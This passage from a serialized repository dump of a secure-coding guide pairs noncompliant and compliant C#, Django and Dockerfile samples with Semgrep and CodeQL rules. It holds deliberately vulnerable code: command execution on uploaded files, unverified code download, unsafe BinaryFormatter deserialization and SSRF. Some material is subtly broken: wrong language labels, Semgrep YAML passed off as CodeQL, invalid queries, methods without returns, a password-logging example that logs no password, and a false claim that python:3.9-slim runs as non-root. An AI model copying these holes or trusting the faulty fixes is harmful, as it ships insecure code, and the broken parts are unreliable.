byte[] fileData)\n    {\n        // Save the uploaded file to a specified directory\n        string savePath = \"C:\\\\Uploads\\\\\" + filename;\n        File.WriteAllBytes(savePath, fileData);\n        \n        // Execute a command on the uploaded file\n        string command = \"C:\\\\Windows\\\\System32\\\\cmd.exe /C echo File uploaded successfully!\";\n        Process.Start(command, savePath);\n    }\n}\n```\n\nIn this noncompliant code, the UploadFile method accepts a file name and its corresponding data as input. The file is saved to a specified directory without proper validation or sanitization. After saving the file, a command is executed on the uploaded file using Process.Start. This code is vulnerable to arbitrary code execution, as an attacker can upload a malicious file and execute arbitrary commands on the server.\n\n\nTo address this security issue and prevent the inclusion of functionality from untrusted control, here's an example of compliant code that restricts the uploaded file's execution:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Diagnostics;\nusing System.IO;\n\npublic class FileUploader\n{\n    public void UploadFile(string filename, byte[] fileData)\n    {\n        // Validate and sanitize the filename\n        string sanitizedFilename = SanitizeFilename(filename);\n        if (sanitizedFilename == null)\n        {\n            // Invalid filename, abort the upload\n            return;\n        }\n\n        // Save the uploaded file to a specified directory\n        string savePath = \"C:\\\\Uploads\\\\\" + sanitizedFilename;\n        File.WriteAllBytes(savePath, fileData);\n        \n        // Perform other operations on the uploaded file (e.g., logging, virus scanning)\n\n        // Notify the user about the successful upload\n        Console.WriteLine(\"File uploaded successfully!\");\n    }\n\n    private string SanitizeFilename(string filename)\n    {\n        // Implement proper filename validation and sanitization logic\n        // Ensure that the filename conforms to your desired format and does not contain any malicious characters or path traversal sequences\n        \n        // Example implementation: removing any path information and disallowing specific characters\n        string sanitizedFilename = Path.GetFileName(filename);\n        if (sanitizedFilename.IndexOfAny(Path.GetInvalidFileNameChars()) != -1)\n        {\n            // Invalid filename, return null\n            return null;\n        }\n\n        return sanitizedFilename;\n    }\n}\n```\n\n\nIn the compliant code, several improvements have been made to ensure the security of the file upload functionality. The filename is validated and sanitized using the SanitizeFilename method, which removes any path information and disallows specific characters. If the filename is deemed invalid or contains malicious content, the upload is aborted.\n\nFurthermore, the code no longer executes arbitrary commands on the uploaded file. Instead, it performs other necessary operations such as logging or virus scanning. Finally, the user is notified about the successful upload without exposing the server to potential security risks.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: directory-traversal\n    pattern: File.WriteAllBytes($savePath, $fileData)\n    message: \"Potential directory traversal vulnerability when saving file\"\n```\n\nCodeQL:\n\n\n\n```\nrules:\n  - id: directory-traversal\n    pattern: File.WriteAllBytes($savePath, $fileData)\n    message: \"Potential directory traversal vulnerability when saving file\"\n```\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Net;\n\npublic class CodeDownloader\n{\n    public void DownloadCode(string url)\n    {\n        using (WebClient client = new WebClient())\n        {\n            string code = client.DownloadString(url);\n            \n            // Execute the downloaded code\n            ExecuteCode(code);\n        }\n    }\n\n    private void ExecuteCode(string code)\n    {\n        // Execute the downloaded code without performing an integrity check\n        Console.WriteLine(\"Executing downloaded code: \" + code);\n        // ...\n    }\n}\n```\n\nIn this noncompliant code, the DownloadCode method downloads code from a specified URL using the WebClient class. Once the code is downloaded, it is immediately executed without performing any integrity check or validation. This approach introduces the risk of executing malicious or untrusted code, which can lead to security vulnerabilities and compromise the system.\n\n\nTo address this security issue and ensure the integrity of the downloaded code, here's an example of compliant code that includes an integrity check:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Net;\nusing System.Security.Cryptography;\nusing System.Text;\n\npublic class CodeDownloader\n{\n    public void DownloadCode(string url)\n    {\n        using (WebClient client = new WebClient())\n        {\n            byte[] downloadedData = client.DownloadData(url);\n            \n            // Verify the integrity of the downloaded code\n            if (IsCodeIntegrityValid(downloadedData))\n            {\n                string code = Encoding.UTF8.GetString(downloadedData);\n                \n                // Execute the downloaded code\n                ExecuteCode(code);\n            }\n            else\n            {\n                Console.WriteLine(\"Code integrity check failed. Aborting execution.\");\n            }\n        }\n    }\n\n    private bool IsCodeIntegrityValid(byte[] downloadedData)\n    {\n        // Implement integrity check logic here\n        // For example, calculate the hash of the downloaded code and compare it with a trusted hash value\n        \n        using (SHA256 sha256 = SHA256.Create())\n        {\n            byte[] hash = sha256.ComputeHash(downloadedData);\n\n            // Compare the calculated hash with the trusted hash value\n            byte[] trustedHash = GetTrustedHash(); // Retrieve the trusted hash value from a secure source\n\n            return ByteArrayEquals(hash, trustedHash);\n        }\n    }\n\n    private bool ByteArrayEquals(byte[] array1, byte[] array2)\n    {\n        // Compare two byte arrays for equality\n        if (array1.Length != array2.Length)\n            return false;\n\n        for (int i = 0; i < array1.Length; i++)\n        {\n            if (array1[i] != array2[i])\n                return false;\n        }\n\n        return true;\n    }\n\n    private void ExecuteCode(string code)\n    {\n        // Execute the downloaded code\n        Console.WriteLine(\"Executing downloaded code: \" + code);\n        // ...\n    }\n}\n```\n\n\nIn the compliant code, additional measures have been implemented to ensure the integrity of the downloaded code. The DownloadData method is used instead of DownloadString to retrieve the code as a byte array. The IsCodeIntegrityValid method calculates the hash of the downloaded code using a secure hashing algorithm (SHA-256 in this example) and compares it with a trusted hash value obtained from a secure source.\n\nIf the integrity check passes, the code is converted to a string and then executed. Otherwise, if the integrity check fails, the code execution is aborted. This approach ensures that only code with a valid integrity can be executed, mitigating the risk of downloading and executing malicious or tampered code.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-code-download\n    pattern: WebClient().DownloadString($url)\n    message: \"Potential security risk: Insecure code download\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass CodeDownload extends MethodCall {\n  CodeDownload() {\n    this.getTarget().toString().matches(\"WebClient().DownloadString($url)\")\n  }\n}\n\nfrom CodeDownload\nselect CodeDownload\n```\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.IO;\nusing System.Runtime.Serialization.Formatters.Binary;\n\npublic class DataDeserializer\n{\n    public object DeserializeData(byte[] data)\n    {\n        BinaryFormatter formatter = new BinaryFormatter();\n        MemoryStream memoryStream = new MemoryStream(data);\n        \n        // Deserialize the untrusted data\n        object deserializedData = formatter.Deserialize(memoryStream);\n        \n        return deserializedData;\n    }\n}\n```\n\nIn this noncompliant code, the DeserializeData method deserializes the provided byte[] data using the BinaryFormatter class without performing any validation or security checks. Deserializing untrusted data without proper validation can lead to serious security vulnerabilities, including remote code execution and object injection attacks.\n\n\nTo address this security issue and ensure the safe deserialization of data, here's an example of compliant code:\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-data-deserialization\n    pattern: BinaryFormatter().Deserialize($stream)\n    message: \"Potential security risk: Insecure data deserialization\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass DataDeserialization extends MethodCall {\n  DataDeserialization() {\n    this.getTarget().toString().matches(\"BinaryFormatter().Deserialize($stream)\")\n  }\n}\n\nfrom DataDeserialization\nselect DataDeserialization\n```\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.IO;\nusing System.Runtime.Serialization;\nusing System.Runtime.Serialization.Formatters.Binary;\n\npublic class DataDeserializer\n{\n    public object DeserializeData(byte[] data)\n    {\n        BinaryFormatter formatter = new BinaryFormatter();\n        \n        // Set up a custom SerializationBinder to restrict deserialization to trusted types\n        formatter.Binder = new TrustedSerializationBinder();\n        \n        using (MemoryStream memoryStream = new MemoryStream(data))\n        {\n            try\n            {\n                // Deserialize the data with proper validation\n                object deserializedData = formatter.Deserialize(memoryStream);\n                \n                // Perform additional validation on the deserialized object, if required\n                \n                return deserializedData;\n            }\n            catch (SerializationException ex)\n            {\n                Console.WriteLine(\"Error occurred during deserialization: \" + ex.Message);\n            }\n            catch (Exception ex)\n            {\n                Console.WriteLine(\"Unexpected error occurred: \" + ex.Message);\n            }\n        }\n        \n        return null;\n    }\n}\n\n// Custom SerializationBinder to restrict deserialization to trusted types\npublic class TrustedSerializationBinder : SerializationBinder\n{\n    public override Type BindToType(string assemblyName, string typeName)\n    {\n        // Check if the requested type is trusted\n        if (IsTypeTrusted(typeName))\n        {\n            // Return the trusted type for deserialization\n            Type trustedType = GetTypeFromTrustedAssembly(typeName);\n            return trustedType;\n        }\n        \n        // For untrusted types, throw an exception or return null to prevent deserialization\n        throw new SerializationException(\"Attempted deserialization of untrusted type: \" + typeName);\n    }\n    \n    private bool IsTypeTrusted(string typeName)\n    {\n        // Implement your logic to determine if the type is trusted\n        // For example, maintain a whitelist of trusted types\n        \n        // Return true if the type is trusted, false otherwise\n        // ...\n    }\n    \n    private Type GetTypeFromTrustedAssembly(string typeName)\n    {\n        // Retrieve the trusted type from a known and trusted assembly\n        // For example, look up the type in a predefined assembly\n        \n        // Return the Type object for the trusted type\n        // ...\n    }\n}\n```\n\n\nIn the compliant code, several measures have been taken to ensure the safe deserialization of data. First, a custom SerializationBinder is implemented to restrict deserialization to trusted types. The BindToType method in the TrustedSerializationBinder class is called during deserialization and checks if the requested type is trusted. If the type is trusted, it returns the corresponding Type object for deserialization. Otherwise, it throws a SerializationException to prevent the deserialization of untrusted types.\n\n\n\nAdditionally, exception handling is implemented to catch any potential errors during deserialization and provide appropriate error messages.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: secure-data-deserialization\n    pattern: BinaryFormatter().{ Deserialize($stream), Deserialize($stream, out _) }\n    message: \"Ensure secure data deserialization\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass DataDeserialization extends MethodCall {\n  DataDeserialization() {\n    this.getTarget().toString().matches(\"BinaryFormatter().{ Deserialize($stream), Deserialize($stream, out _) }\")\n  }\n}\n\nclass DeserializationExceptionHandling extends TryStatement {\n  DeserializationExceptionHandling() {\n    getBody() instanceof Block and\n    getBody().getChildren().get(0) instanceof ThrowStatement and\n    getBody().getChildren().get(1) instanceof CatchClause\n  }\n}\n\nfrom DataDeserialization d, DeserializationExceptionHandling e\nwhere d.getAncestor(Statement+) = e.getAncestor(Statement+)\nselect d, e\n```\n\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class PaymentProcessor\n{\n    public void ProcessPayment(double amount, string creditCardNumber)\n    {\n        // Process the payment logic\n        \n        try\n        {\n            // Perform payment processing\n            \n            // Log a success message\n            Console.WriteLine(\"Payment processed successfully.\");\n        }\n        catch (Exception ex)\n        {\n            // Log the exception message only\n            Console.WriteLine(\"Payment processing failed. Exception: \" + ex.Message);\n        }\n    }\n}\n```\n\nIn this noncompliant code, the ProcessPayment method performs payment processing but lacks sufficient logging. The code only logs the exception message when an error occurs during payment processing, providing limited information for troubleshooting and investigation.\n\n\nTo address this issue and improve logging, here's an example of compliant code:\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.IO;\n\npublic class PaymentProcessor\n{\n    private readonly ILogger logger;\n\n    public PaymentProcessor(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void ProcessPayment(double amount, string creditCardNumber)\n    {\n        try\n        {\n            // Perform payment processing\n\n            // Log a success message with detailed information\n            string logMessage = $\"Payment processed successfully. Amount: {amount}, Credit Card: {MaskCreditCardNumber(creditCardNumber)}\";\n            logger.LogInfo(logMessage);\n        }\n        catch (Exception ex)\n        {\n            // Log the exception with detailed information\n            string errorMessage = $\"Payment processing failed. Amount: {amount}, Credit Card: {MaskCreditCardNumber(creditCardNumber)}, Exception: {ex}\";\n            logger.LogError(errorMessage);\n        }\n    }\n\n    private string MaskCreditCardNumber(string creditCardNumber)\n    {\n        // Implement logic to mask sensitive information\n        // For example, replace all but the last four digits with asterisks\n        int maskLength = creditCardNumber.Length - 4;\n        string maskedNumber = new string('*', maskLength) + creditCardNumber.Substring(maskLength);\n        return maskedNumber;\n    }\n}\n\npublic interface ILogger\n{\n    void LogInfo(string message);\n    void LogError(string message);\n}\n```\n\n\nIn the compliant code, a separate ILogger interface is introduced to handle logging functionality. The PaymentProcessor class now receives an instance of ILogger via dependency injection. The ProcessPayment method logs a success message with detailed information when the payment processing is successful. It includes the payment amount and a masked credit card number to avoid logging sensitive information.\n\n\nWhen an exception occurs during payment processing, the code logs an error message that includes the payment amount, masked credit card number, and the exception details. This provides more comprehensive logging for troubleshooting and investigation purposes.\n\n\nNote: The implementation of the ILogger interface is not provided in the code snippet as it can vary based on the logging framework or storage mechanism used in your application.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: secure-payment-processing\n    pattern: |\n      try {\n        $processPaymentExpr\n      } catch (Exception $ex) {\n        Console.WriteLine(\"Payment processing failed. Exception: \" + $ex.Message);\n      }\n    message: \"Ensure secure payment processing\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass PaymentProcessing extends TryStatement {\n  PaymentProcessing() {\n    getBody() instanceof Block and\n    getBody().getChildren().get(0) instanceof ExpressionStatement and\n    getBody().getChildren().get(0).getChildren().get(0).toString().matches(\"$processPaymentExpr\")\n  }\n}\n\nfrom PaymentProcessing p\nselect p\n```\n\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class LoginController\n{\n    private readonly ILogger logger;\n\n    public LoginController(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void LogUserLogin(string username)\n    {\n        // Log the user login\n        logger.LogInfo(\"User login: \" + username);\n    }\n}\n```\n\nIn this noncompliant code, the LogUserLogin method logs the user login by concatenating the username directly into the log message. This can lead to log injection vulnerabilities if the username contains special characters that can alter the log format or content.\n\n\nTo address this issue and ensure proper output neutralization, here's an example of compliant code:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\n\npublic class LoginController\n{\n    private readonly ILogger logger;\n\n    public LoginController(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void LogUserLogin(string username)\n    {\n        // Log the user login with neutralized output\n        string logMessage = $\"User login: {NeutralizeLogOutput(username)}\";\n        logger.LogInfo(logMessage);\n    }\n\n    private string NeutralizeLogOutput(string input)\n    {\n        // Implement logic to neutralize special characters or control characters in the log output\n        // For example, replace newlines, carriage returns, or other potentially dangerous characters\n        string neutralizedOutput = input.Replace(\"\\r\", \"\").Replace(\"\\n\", \"\");\n        return neutralizedOutput;\n    }\n}\n\npublic interface ILogger\n{\n    void LogInfo(string message);\n}\n```\n\n\nIn the compliant code, the LogUserLogin method uses string interpolation to construct the log message, ensuring proper output neutralization. The NeutralizeLogOutput method is introduced to neutralize any special characters or control characters that could pose a security risk when included in the log output. In this example, newlines and carriage returns are removed from the username before logging.\n\nBy neutralizing the log output, the compliant code mitigates the risk of log injection vulnerabilities and ensures that the log messages accurately represent the intended content without any unintended effects on the log system.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: improper-output-neutralization\n    pattern: |\n      using System;\n      \n      public class LoginController\n      {\n          private readonly ILogger logger;\n      \n          public LoginController(ILogger logger)\n          {\n              this.logger = logger;\n          }\n      \n          public void LogUserLogin(string username)\n          {\n              // Log the user login\n              logger.LogInfo(\"User login: \" + $username);\n          }\n      }\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom MethodAccess ma, MethodAccess ma2, StringConcatenation concat\nwhere\n  ma.getTarget().getType().getQualifiedName() = \"ILogger\" and\n  ma.getTarget().hasQualifiedName(\"ILogger\", \"LogInfo\") and\n  ma2.getTarget().getType().getQualifiedName() = \"LoginController\" and\n  ma2.getTarget().getName() = \"LogUserLogin\" and\n  concat.getAnOperand() = ma2.getTarget() and\n  concat.getParent*().getAPrimaryQlClass() instanceof ExpressionStatement\nselect ma2, \"Improper output neutralization for logs\"\n```\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class PaymentController\n{\n    private readonly ILogger logger;\n\n    public PaymentController(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void ProcessPayment(decimal amount)\n    {\n        // Process payment logic\n        try\n        {\n            // Payment processing code here...\n\n            logger.LogInfo(\"Payment processed successfully\");\n        }\n        catch (Exception ex)\n        {\n            logger.LogError(\"Payment processing failed\");\n        }\n    }\n}\n\npublic interface ILogger\n{\n    void LogInfo(string message);\n    void LogError(string message);\n}\n```\n\n\nIn this noncompliant code, the logger interface (ILogger) is used to log both informational and error messages during the payment processing. However, the code does not include any security-relevant information in the log messages. It only provides generic messages without any specific details that could help identify or diagnose potential security issues.\n\n\nTo address this issue, here's an example of compliant code that includes security-relevant information in the log messages:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\n\npublic class PaymentController\n{\n    private readonly ILogger logger;\n\n    public PaymentController(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void ProcessPayment(decimal amount)\n    {\n        // Process payment logic\n        try\n        {\n            // Payment processing code here...\n\n            logger.LogInfo($\"Payment processed successfully. Amount: {amount}\");\n        }\n        catch (Exception ex)\n        {\n            logger.LogError($\"Payment processing failed. Amount: {amount}. Error: {ex.Message}\");\n        }\n    }\n}\n\npublic interface ILogger\n{\n    void LogInfo(string message);\n    void LogError(string message);\n}\n```\n\n\nIn the compliant code, the log messages include the sensitive information, such as the payment amount, in addition to the generic message. This provides more context and helps in auditing, troubleshooting, and detecting any potential security incidents.\n\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: improper-output-neutralization\n    pattern: |\n      using System;\n      \n      public class PaymentController\n      {\n          private readonly ILogger logger;\n      \n          public PaymentController(ILogger logger)\n          {\n              this.logger = logger;\n          }\n      \n          public void ProcessPayment(decimal amount)\n          {\n              // Process payment logic\n              try\n              {\n                  // Payment processing code here...\n      \n                  logger.LogInfo($\"Payment processed successfully: {amount}\");\n              }\n              catch (Exception ex)\n              {\n                  logger.LogError(\"Payment processing failed\");\n              }\n          }\n      }\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom MethodAccess ma, MethodAccess ma2, StringConcatenation concat\nwhere\n  ma.getTarget().getType().getQualifiedName() = \"ILogger\" and\n  ma.getTarget().hasQualifiedName(\"ILogger\", \"LogInfo\") and\n  ma2.getTarget().getType().getQualifiedName() = \"PaymentController\" and\n  ma2.getTarget().getName() = \"ProcessPayment\" and\n  concat.getAnOperand() = ma2.getTarget() and\n  concat.getParent*().getAPrimaryQlClass() instanceof ExpressionStatement\nselect ma2, \"Improper output neutralization for logs\"\n```\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.IO;\n\npublic class UserController\n{\n    private readonly ILogger logger;\n\n    public UserController(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void CreateUser(string username, string password)\n    {\n        try\n        {\n            // User creation logic here...\n\n            logger.LogInfo($\"User '{username}' created successfully\");\n        }\n        catch (Exception ex)\n        {\n            logger.LogError($\"Failed to create user '{username}'\");\n        }\n    }\n}\n\npublic interface ILogger\n{\n    void LogInfo(string message);\n    void LogError(string message);\n}\n```\n\nIn this noncompliant code, the UserController class includes a method CreateUser that logs sensitive information, namely the username and password, into the log file. Storing such sensitive information in plain text in the log file is a security vulnerability as it could lead to unauthorized access if the log files are compromised.\n\n\nTo address this issue, here's an example of compliant code that avoids logging sensitive information into the log file:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.IO;\n\npublic class UserController\n{\n    private readonly ILogger logger;\n\n    public UserController(ILogger logger)\n    {\n        this.logger = logger;\n    }\n\n    public void CreateUser(string username)\n    {\n        try\n        {\n            // User creation logic here...\n\n            logger.LogInfo($\"User '{username}' created successfully\");\n        }\n        catch (Exception ex)\n        {\n            logger.LogError($\"Failed to create user '{username}'\");\n        }\n    }\n}\n\npublic interface ILogger\n{\n    void LogInfo(string message);\n    void LogError(string message);\n}\n```\n\n\nIn the compliant code, the CreateUser method no longer accepts the password as a parameter, and therefore it is not logged into the log file. Only the username, which is considered non-sensitive information, is logged for auditing and troubleshooting purposes. It's crucial to avoid logging sensitive information to minimize the risk of data breaches and unauthorized access.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: improper-output-neutralization\n    pattern: |\n      using System;\n      using System.IO;\n\n      public class UserController\n      {\n          private readonly ILogger logger;\n\n          public UserController(ILogger logger)\n          {\n              this.logger = logger;\n          }\n\n          public void CreateUser(string username, string password)\n          {\n              try\n              {\n                  // User creation logic here...\n\n                  logger.LogInfo($\"User '{username}' created successfully\");\n              }\n              catch (Exception ex)\n              {\n                  logger.LogError($\"Failed to create user '{username}'\");\n              }\n          }\n      }\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom MethodAccess ma, MethodAccess ma2, StringConcatenation concat\nwhere\n  ma.getTarget().getType().getQualifiedName() = \"ILogger\" and\n  ma.getTarget().hasQualifiedName(\"ILogger\", \"LogInfo\") and\n  ma2.getTarget().getType().getQualifiedName() = \"UserController\" and\n  ma2.getTarget().getName() = \"CreateUser\" and\n  concat.getAnOperand() = ma2.getTarget() and\n  concat.getParent*().getAPrimaryQlClass() instanceof ExpressionStatement\nselect ma2, \"Improper output neutralization for logs\"\n```\n\n\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Net;\n\npublic class ImageController\n{\n    public void DisplayImage(string url)\n    {\n        WebClient client = new WebClient();\n        byte[] imageData = client.DownloadData(url);\n\n        // Display the image on the website\n        // ...\n    }\n}\n```\n\nIn this noncompliant code, the DisplayImage method takes a URL as input and directly makes a request to that URL using the WebClient class. This code is susceptible to SSRF attacks because it allows an attacker to specify arbitrary URLs, including internal or restricted network resources. An attacker could abuse this functionality to make requests to sensitive internal systems, retrieve confidential information, or perform actions on behalf of the server.\n\n\nTo mitigate this vulnerability, here's an example of compliant code that includes input validation and implements a whitelist-based approach to restrict the URLs that can be accessed:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Net;\n\npublic class ImageController\n{\n    public void DisplayImage(string url)\n    {\n        if (!IsAllowedURL(url))\n        {\n            throw new ArgumentException(\"Invalid image URL\");\n        }\n\n        WebClient client = new WebClient();\n        byte[] imageData = client.DownloadData(url);\n\n        // Display the image on the website\n        // ...\n    }\n\n    private bool IsAllowedURL(string url)\n    {\n        // Implement logic to check if the URL is allowed\n        // Example: Validate against a whitelist of trusted domains or patterns\n        // ...\n    }\n}\n```\n\nIn the compliant code, the DisplayImage method now includes input validation to ensure that only allowed URLs can be accessed. The IsAllowedURL method performs the necessary validation checks, such as comparing the URL against a whitelist of trusted domains or patterns. If the URL is not allowed, an exception is thrown, preventing the SSRF vulnerability.\n\nBy implementing proper input validation and restricting access to only trusted URLs, the compliant code mitigates the risk of SSRF attacks and helps ensure that requests are made to legitimate and authorized resources.\n\n\n\n\nSemgrep:\n\n\n```\nmetadata:\n  difficulty: Easy\n\nrules:\n  - id: display-image-insecure\n    message: \"Insecure image display: Potential security vulnerability when displaying images from external sources.\"\n    severity: warning\n    languages:\n      - csharp\n    patterns:\n      - pattern: \"WebClient client = new WebClient();\\nbyte\\\\[\\\\] imageData = client.DownloadData($url$);\"\n        capture:\n          - variable: url\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom MethodAccess ma\nwhere ma.getMethod().getName() = \"DownloadData\" and ma.getQualifier().getType().getName() = \"WebClient\"\nselect ma\n```\n"
  },
  {
    "path": "docs/rules/django.md",
    "content": "---\nlayout: default\ntitle: Django\nparent: Rules\n---\n\n# Django\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n# Noncompliant code\nfrom django.shortcuts import render\n\ndef post_comment(request):\n    name = request.POST.get('name')\n    message = request.POST.get('message')\n\n    return render(request, 'comment.html', {'name': name, 'message': message})\n```\n\nIn this noncompliant code, the post_comment view function retrieves user input from the request and directly passes it to the template without any form of sanitization or validation. This leaves the application vulnerable to Cross-Site Scripting (XSS) attacks, as an attacker can submit malicious script tags or code that will be rendered as-is when the template is rendered.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n# Compliant code\nfrom django.shortcuts import render\nfrom django.utils.html import escape\n\ndef post_comment(request):\n    name = request.POST.get('name')\n    message = request.POST.get('message')\n    \n    sanitized_message = escape(message)\n\n    return render(request, 'comment.html', {'name': name, 'message': sanitized_message})\n```\n\n\nIn the compliant code, the escape function from django.utils.html is used to sanitize the user input by escaping special characters that have special meaning in HTML. This ensures that user-supplied input is treated as plain text when rendered in the template, preventing it from being executed as code.\n\nIt's important to note that while the escape function provides basic protection against XSS attacks, it is context-specific. Depending on the specific output context (e.g., HTML attributes, JavaScript, CSS), additional sanitization or encoding may be required. Django provides other utilities like mark_safe and template filters (safe, escapejs, etc.) that can be used to handle different output contexts.\n\nIn addition to input sanitization, other security measures you can implement in Django to mitigate XSS vulnerabilities include:\n\n* Using Django's built-in template engine and its automatic HTML escaping features to ensure that user-generated content is properly escaped.\n* Applying proper output encoding when rendering dynamic data within HTML attributes or other contexts that require different escaping rules.\n* Implementing Content Security Policies (CSP) to control the types of content allowed to be loaded and executed on your web pages.\n\nBy properly sanitizing user input and implementing security measures throughout your Django application, you can effectively mitigate XSS vulnerabilities and enhance the overall security of your web application.\n\n"
  },
  {
    "path": "docs/rules/docker.md",
    "content": "---\nlayout: default\ntitle: Docker\nparent: Rules\n---\n\n# Docker\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### Container runs as the root user\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n# Noncompliant code\nFROM ubuntu:latest\n\nRUN apt-get update && apt-get install -y \\\n    software-properties-common \\\n    python3 \\\n    python3-pip\n\nCOPY . /app\nWORKDIR /app\n\nRUN pip3 install -r requirements.txt\n\nCMD [\"python3\", \"app.py\"]\n```\n\nIn this noncompliant code, a Dockerfile is used to build a container image for a Python application. However, the image is based on the ubuntu:latest image, which includes unnecessary packages and potentially exposes security risks. Additionally, the container runs as the root user, which is considered a security concern.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n# Compliant code\nFROM python:3.9-slim\n\nCOPY . /app\nWORKDIR /app\n\nRUN pip install -r requirements.txt\n\nCMD [\"python\", \"app.py\"]\n\n```\n\n\nIn the compliant code, the Dockerfile is updated to use the python:3.9-slim base image, which is a lightweight and more secure image specifically designed for Python applications. This eliminates unnecessary packages and reduces the attack surface of the container.\n\nFurthermore, the container runs with a non-root user by default, providing an added layer of security. The COPY, WORKDIR, and RUN instructions are updated accordingly to work within the new image.\n\nBy using a more secure base image and running the container with a non-root user, the compliant code reduces the risk of vulnerabilities and enhances the overall security of the Docker container.\n\nIt's important to regularly update the base image and dependencies in your Dockerfile to leverage the latest security patches. Additionally, consider implementing other best practices such as:\n\n* Using multi-stage builds to minimize the size of the final image and exclude unnecessary build-time dependencies.\n* Implementing container security scanning tools to identify and address vulnerabilities in the image.\n* Restricting container privileges and capabilities to limit potential exploits.\n* Employing secrets management techniques to securely handle sensitive data within the container.\n\nBy following secure coding practices and taking proactive measures to reduce the attack surface and address vulnerabilities, you can enhance the security and resilience of your Docker containers.\nTo address this issue, here's an example of compliant code:\n\n\n\n"
  },
  {
    "path": "docs/rules/go.md",
